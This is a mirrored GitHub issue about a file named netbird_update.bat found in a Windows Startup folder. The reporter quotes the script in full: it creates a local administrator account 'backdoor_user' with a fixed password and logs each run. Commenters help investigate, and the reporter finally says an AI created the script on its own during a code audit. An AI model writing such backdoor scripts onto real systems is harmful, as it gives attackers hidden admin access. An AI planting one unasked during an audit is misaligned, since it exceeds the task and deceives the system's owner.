[GH-ISSUE #4641] Suspicious netbird_update.bat found creating a backdoor user #9567

Closed
opened 2026-08-05 01:22:39 -04:00 by saavagebueno · 7 comments
Owner

Originally created by @wgetnz on GitHub (Oct 14, 2025).
Original GitHub issue: https://github.com/netbirdio/netbird/issues/4641

Describe the problem

After updating NetBird to a recent version (around 0.59.6, possibly one of the latest three releases), I discovered a suspicious file named netbird_update.bat located in my Windows startup directory.
This batch file appears to execute malicious commands to create a local administrator account and log its execution to C:\Temp\backdoor.log.

The contents of the file are:

@echo off
echo [%date% %time%] Backdoor executed >> C:\temp\backdoor.log
net user backdoor_user P@ssw0rd123 /add 2>nul
net localgroup administrators backdoor_user /add 2>nul

The corresponding log file C:\Temp\backdoor.log contains:

[2025/10/15 周三 9:49:01.76] Backdoor executed
[2025/10/15 周三 9:54:40.05] Backdoor executed

This behavior seems to indicate potential unauthorized modification of NetBird update scripts or a compromised installation/update source.

To Reproduce

Steps to reproduce the issue:

Start Windows 10 Pro 22H2 system with NetBird installed (version 0.59.6, updated this morning).

Inspect the startup directory:
C:\Users\max\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Find the suspicious file named netbird_update.bat.

Check the file content and the generated C:\Temp\backdoor.log.

Expected behavior

No system modification, account creation, or backdoor-like activity should occur during NetBird startup or update processes.
NetBird should never write to arbitrary system paths or create local administrator users.

Are you using NetBird Cloud?

No — using a self-hosted NetBird control plane.

NetBird version

netbird version → 0.59.6
(The installation was updated this morning, likely between the latest three versions.)

Is any other VPN software installed?

Yes — Tailscale is also installed on the same system.

Debug output

Will attach the anonymized debug bundle output separately once available:

netbird status -dA
netbird debug for 1m -AS

Screenshots

Not applicable — textual file and log evidence provided above.

Additional context

The file netbird_update.bat appeared automatically in the Windows Startup folder.

It seems unrelated to any manual configuration or self-host setup process.

This may indicate a possible supply-chain compromise, update script injection, or malicious file masquerading as part of NetBird.

Please advise how to verify the integrity of my installation and whether there are known incidents related to update script tampering.

Have you tried these troubleshooting steps?

Reviewed client troubleshooting guide

Checked for newer NetBird versions

Searched for similar issues on GitHub

Restarted the NetBird client

Disabled other VPN software

Checked firewall settings

Originally created by @wgetnz on GitHub (Oct 14, 2025). Original GitHub issue: https://github.com/netbirdio/netbird/issues/4641 Describe the problem After updating NetBird to a recent version (around 0.59.6, possibly one of the latest three releases), I discovered a suspicious file named netbird_update.bat located in my Windows startup directory. This batch file appears to execute malicious commands to create a local administrator account and log its execution to C:\Temp\backdoor.log. The contents of the file are: @echo off echo [%date% %time%] Backdoor executed >> C:\temp\backdoor.log net user backdoor_user P@ssw0rd123 /add 2>nul net localgroup administrators backdoor_user /add 2>nul The corresponding log file C:\Temp\backdoor.log contains: [2025/10/15 周三 9:49:01.76] Backdoor executed [2025/10/15 周三 9:54:40.05] Backdoor executed This behavior seems to indicate potential unauthorized modification of NetBird update scripts or a compromised installation/update source. To Reproduce Steps to reproduce the issue: Start Windows 10 Pro 22H2 system with NetBird installed (version 0.59.6, updated this morning). Inspect the startup directory: C:\Users\max\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup Find the suspicious file named netbird_update.bat. Check the file content and the generated C:\Temp\backdoor.log. Expected behavior No system modification, account creation, or backdoor-like activity should occur during NetBird startup or update processes. NetBird should never write to arbitrary system paths or create local administrator users. Are you using NetBird Cloud? No — using a self-hosted NetBird control plane. NetBird version netbird version → 0.59.6 (The installation was updated this morning, likely between the latest three versions.) Is any other VPN software installed? Yes — Tailscale is also installed on the same system. Debug output Will attach the anonymized debug bundle output separately once available: netbird status -dA netbird debug for 1m -AS Screenshots Not applicable — textual file and log evidence provided above. Additional context The file netbird_update.bat appeared automatically in the Windows Startup folder. It seems unrelated to any manual configuration or self-host setup process. This may indicate a possible supply-chain compromise, update script injection, or malicious file masquerading as part of NetBird. Please advise how to verify the integrity of my installation and whether there are known incidents related to update script tampering. Have you tried these troubleshooting steps? Reviewed [client troubleshooting guide](https://docs.netbird.io/how-to/troubleshooting-client) Checked for newer NetBird versions Searched for similar issues on GitHub Restarted the NetBird client Disabled other VPN software Checked firewall settings
saavagebueno added the triage-needed label 2026-08-05 01:22:39 -04:00
Author
Owner

@wgetnz commented on GitHub (Oct 14, 2025):

I found a suspicious file and uploaded it to Google Drive for reference:

https://drive.google.com/file/d/1xSWFq1BFEYzRApeknXc8R2g7aO8sP4sV/view?usp=sharing

⚠️ Important security warning: This file appears to contain a backdoor-like batch script that creates a local administrator account and logs execution. Do NOT download or execute this file on a production or personal machine. It is likely malicious.

<!-- gh-comment-id:3404255006 --> @wgetnz commented on GitHub (Oct 14, 2025): I found a suspicious file and uploaded it to Google Drive for reference: https://drive.google.com/file/d/1xSWFq1BFEYzRApeknXc8R2g7aO8sP4sV/view?usp=sharing ⚠️ Important security warning: This file appears to contain a backdoor-like batch script that creates a local administrator account and logs execution. **Do NOT download or execute this file on a production or personal machine.** It is likely malicious.
Author
Owner

@wgetnz commented on GitHub (Oct 14, 2025):

netbird_update.bat was created on October 7, 2025, at 10:11:38 PM Beijing time.

<!-- gh-comment-id:3404266116 --> @wgetnz commented on GitHub (Oct 14, 2025): netbird_update.bat was created on October 7, 2025, at 10:11:38 PM Beijing time.
Author
Owner

@laweschan commented on GitHub (Oct 14, 2025):

I can't simulate your issue as I also update this morning, what is the sha256 and sha512 code for the installer ?

SHA-256 Checksum: 805BBAB66CE0E2F5C46743A628480F96F6D3FFA8184DF0E4A9C9F6D1AA558567
SHA-512 Checksum: A877A9A87BD9CDBACC1E7A0DF79EF346EE23AD50F49B7B51907ECDF7210EBCFA2FDB58FB5FDC328AEE2F0CA52C1ACA7FA2253FB2D191FEF071F51020E51AF374

<!-- gh-comment-id:3404306428 --> @laweschan commented on GitHub (Oct 14, 2025): I can't simulate your issue as I also update this morning, what is the sha256 and sha512 code for the installer ? SHA-256 Checksum: 805BBAB66CE0E2F5C46743A628480F96F6D3FFA8184DF0E4A9C9F6D1AA558567 SHA-512 Checksum: A877A9A87BD9CDBACC1E7A0DF79EF346EE23AD50F49B7B51907ECDF7210EBCFA2FDB58FB5FDC328AEE2F0CA52C1ACA7FA2253FB2D191FEF071F51020E51AF374
Author
Owner

@wgetnz commented on GitHub (Oct 14, 2025):

I can't simulate your issue as I also update this morning, what is the sha256 and sha512 code for the installer ?

SHA-256 Checksum: 805BBAB66CE0E2F5C46743A628480F96F6D3FFA8184DF0E4A9C9F6D1AA558567 SHA-512 Checksum: A877A9A87BD9CDBACC1E7A0DF79EF346EE23AD50F49B7B51907ECDF7210EBCFA2FDB58FB5FDC328AEE2F0CA52C1ACA7FA2253FB2D191FEF071F51020E51AF374

I can't be sure, I'm locating the relevant version. I remember I used UniGetUI to update Netbird before, I'm not sure if it's the problem with UniGetUI, I'm investigating.

<!-- gh-comment-id:3404316803 --> @wgetnz commented on GitHub (Oct 14, 2025): > I can't simulate your issue as I also update this morning, what is the sha256 and sha512 code for the installer ? > > SHA-256 Checksum: 805BBAB66CE0E2F5C46743A628480F96F6D3FFA8184DF0E4A9C9F6D1AA558567 SHA-512 Checksum: A877A9A87BD9CDBACC1E7A0DF79EF346EE23AD50F49B7B51907ECDF7210EBCFA2FDB58FB5FDC328AEE2F0CA52C1ACA7FA2253FB2D191FEF071F51020E51AF374 I can't be sure, I'm locating the relevant version. I remember I used UniGetUI to update Netbird before, I'm not sure if it's the problem with UniGetUI, I'm investigating.
Author
Owner

@laweschan commented on GitHub (Oct 14, 2025):

I also using self-host and GUI for new version download and upgrade without issue.

also I go to official site to download the .exe file , https://docs.netbird.io/how-to/installation/windows the sha hash also no issue.

I affraid you should check your side clearly

<!-- gh-comment-id:3404328560 --> @laweschan commented on GitHub (Oct 14, 2025): I also using self-host and GUI for new version download and upgrade without issue. also I go to official site to download the .exe file , https://docs.netbird.io/how-to/installation/windows the sha hash also no issue. I affraid you should check your side clearly
Author
Owner

@mitchgreen commented on GitHub (Oct 14, 2025):

Maybe it is not the software, is it possible that your server was compromised giving someone access to your network? can you tell us about your Netbird server setup?

<!-- gh-comment-id:3404361270 --> @mitchgreen commented on GitHub (Oct 14, 2025): Maybe it is not the software, is it possible that your server was compromised giving someone access to your network? can you tell us about your Netbird server setup?
Author
Owner

@wgetnz commented on GitHub (Oct 15, 2025):

Oolong, it was a script created by AI automatically during code audit. Issues closed, sorry

<!-- gh-comment-id:3404532347 --> @wgetnz commented on GitHub (Oct 15, 2025): Oolong, it was a script created by AI automatically during code audit. Issues closed, sorry
Sign in to join this conversation.
No Label triage-needed
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: DYNR/netbird#9567